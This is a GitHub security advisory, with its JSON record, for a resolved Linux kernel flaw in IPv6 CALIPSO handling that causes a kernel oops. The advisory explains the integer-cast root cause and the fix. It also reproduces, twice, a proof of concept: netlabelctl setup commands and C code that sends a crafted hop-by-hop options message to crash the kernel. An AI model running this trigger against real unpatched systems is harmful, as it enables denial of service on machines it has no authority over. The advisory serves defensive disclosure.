GHSA-HJPX-F2R6-RR4Q

Vulnerability from github – Published: 2026-01-13 18:31 – Updated: 2026-01-19 15:30
VLAI?
Details

In the Linux kernel, the following vulnerability has been resolved:

ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

There exists a kernel oops caused by a BUG_ON(nhead < 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) < 0).

The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead.

Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom.

PoC: Using netlabelctl tool:

    netlabelctl map del default
    netlabelctl calipso add pass doi:7
    netlabelctl map add default address:0::1/128 protocol:calipso,7

    Then run the following PoC:

    int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);

    // setup msghdr
    int cmsg_size = 2;
    int cmsg_len = 0x60;
    struct msghdr msg;
    struct sockaddr_in6 dest_addr;
    struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,
                    sizeof(struct cmsghdr) + cmsg_len);
    msg.msg_name = &dest_addr;
    msg.msg_namelen = sizeof(dest_addr);
    msg.msg_iov = NULL;
    msg.msg_iovlen = 0;
    msg.msg_control = cmsg;
    msg.msg_controllen = cmsg_len;
    msg.msg_flags = 0;

    // setup sockaddr
    dest_addr.sin6_family = AF_INET6;
    dest_addr.sin6_port = htons(31337);
    dest_addr.sin6_flowinfo = htonl(31337);
    dest_addr.sin6_addr = in6addr_loopback;
    dest_addr.sin6_scope_id = 31337;

    // setup cmsghdr
    cmsg->cmsg_len = cmsg_len;
    cmsg->cmsg_level = IPPROTO_IPV6;
    cmsg->cmsg_type = IPV6_HOPOPTS;
    char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);
    hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80

    sendmsg(fd, &msg, 0);
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{
  "affected": [],
  "aliases": [
    "CVE-2025-71085"
  ],
  "database_specific": {
    "cwe_ids": [],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-13T16:16:08Z",
    "severity": null
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()\n\nThere exists a kernel oops caused by a BUG_ON(nhead \u003c 0) at\nnet/core/skbuff.c:2232 in pskb_expand_head().\nThis bug is triggered as part of the calipso_skbuff_setattr()\nroutine when skb_cow() is passed headroom \u003e INT_MAX\n(i.e. (int)(skb_headroom(skb) + len_delta) \u003c 0).\n\nThe root cause of the bug is due to an implicit integer cast in\n__skb_cow(). The check (headroom \u003e skb_headroom(skb)) is meant to ensure\nthat delta = headroom - skb_headroom(skb) is never negative, otherwise\nwe will trigger a BUG_ON in pskb_expand_head(). However, if\nheadroom \u003e INT_MAX and delta \u003c= -NET_SKB_PAD, the check passes, delta\nbecomes negative, and pskb_expand_head() is passed a negative value for\nnhead.\n\nFix the trigger condition in calipso_skbuff_setattr(). Avoid passing\n\"negative\" headroom sizes to skb_cow() within calipso_skbuff_setattr()\nby only using skb_cow() to grow headroom.\n\nPoC:\n\tUsing `netlabelctl` tool:\n\n        netlabelctl map del default\n        netlabelctl calipso add pass doi:7\n        netlabelctl map add default address:0::1/128 protocol:calipso,7\n\n        Then run the following PoC:\n\n        int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);\n\n        // setup msghdr\n        int cmsg_size = 2;\n        int cmsg_len = 0x60;\n        struct msghdr msg;\n        struct sockaddr_in6 dest_addr;\n        struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,\n                        sizeof(struct cmsghdr) + cmsg_len);\n        msg.msg_name = \u0026dest_addr;\n        msg.msg_namelen = sizeof(dest_addr);\n        msg.msg_iov = NULL;\n        msg.msg_iovlen = 0;\n        msg.msg_control = cmsg;\n        msg.msg_controllen = cmsg_len;\n        msg.msg_flags = 0;\n\n        // setup sockaddr\n        dest_addr.sin6_family = AF_INET6;\n        dest_addr.sin6_port = htons(31337);\n        dest_addr.sin6_flowinfo = htonl(31337);\n        dest_addr.sin6_addr = in6addr_loopback;\n        dest_addr.sin6_scope_id = 31337;\n\n        // setup cmsghdr\n        cmsg-\u003ecmsg_len = cmsg_len;\n        cmsg-\u003ecmsg_level = IPPROTO_IPV6;\n        cmsg-\u003ecmsg_type = IPV6_HOPOPTS;\n        char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);\n        hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80\n\n        sendmsg(fd, \u0026msg, 0);",
  "id": "GHSA-hjpx-f2r6-rr4q",
  "modified": "2026-01-19T15:30:36Z",
  "published": "2026-01-13T18:31:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71085"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/2bb759062efa188ea5d07242a43e5aa5464bbae1"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/58fc7342b529803d3c221101102fe913df7adb83"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/6b7522424529556c9cbc15e15e7bd4eeae310910"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/73744ad5696dce0e0f43872aba8de6a83d6ad570"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/86f365897068d09418488165a68b23cb5baa37f2"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/bf3709738d8a8cc6fa275773170c5c29511a0b24"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/c53aa6a5086f03f19564096ee084a202a8c738c0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}


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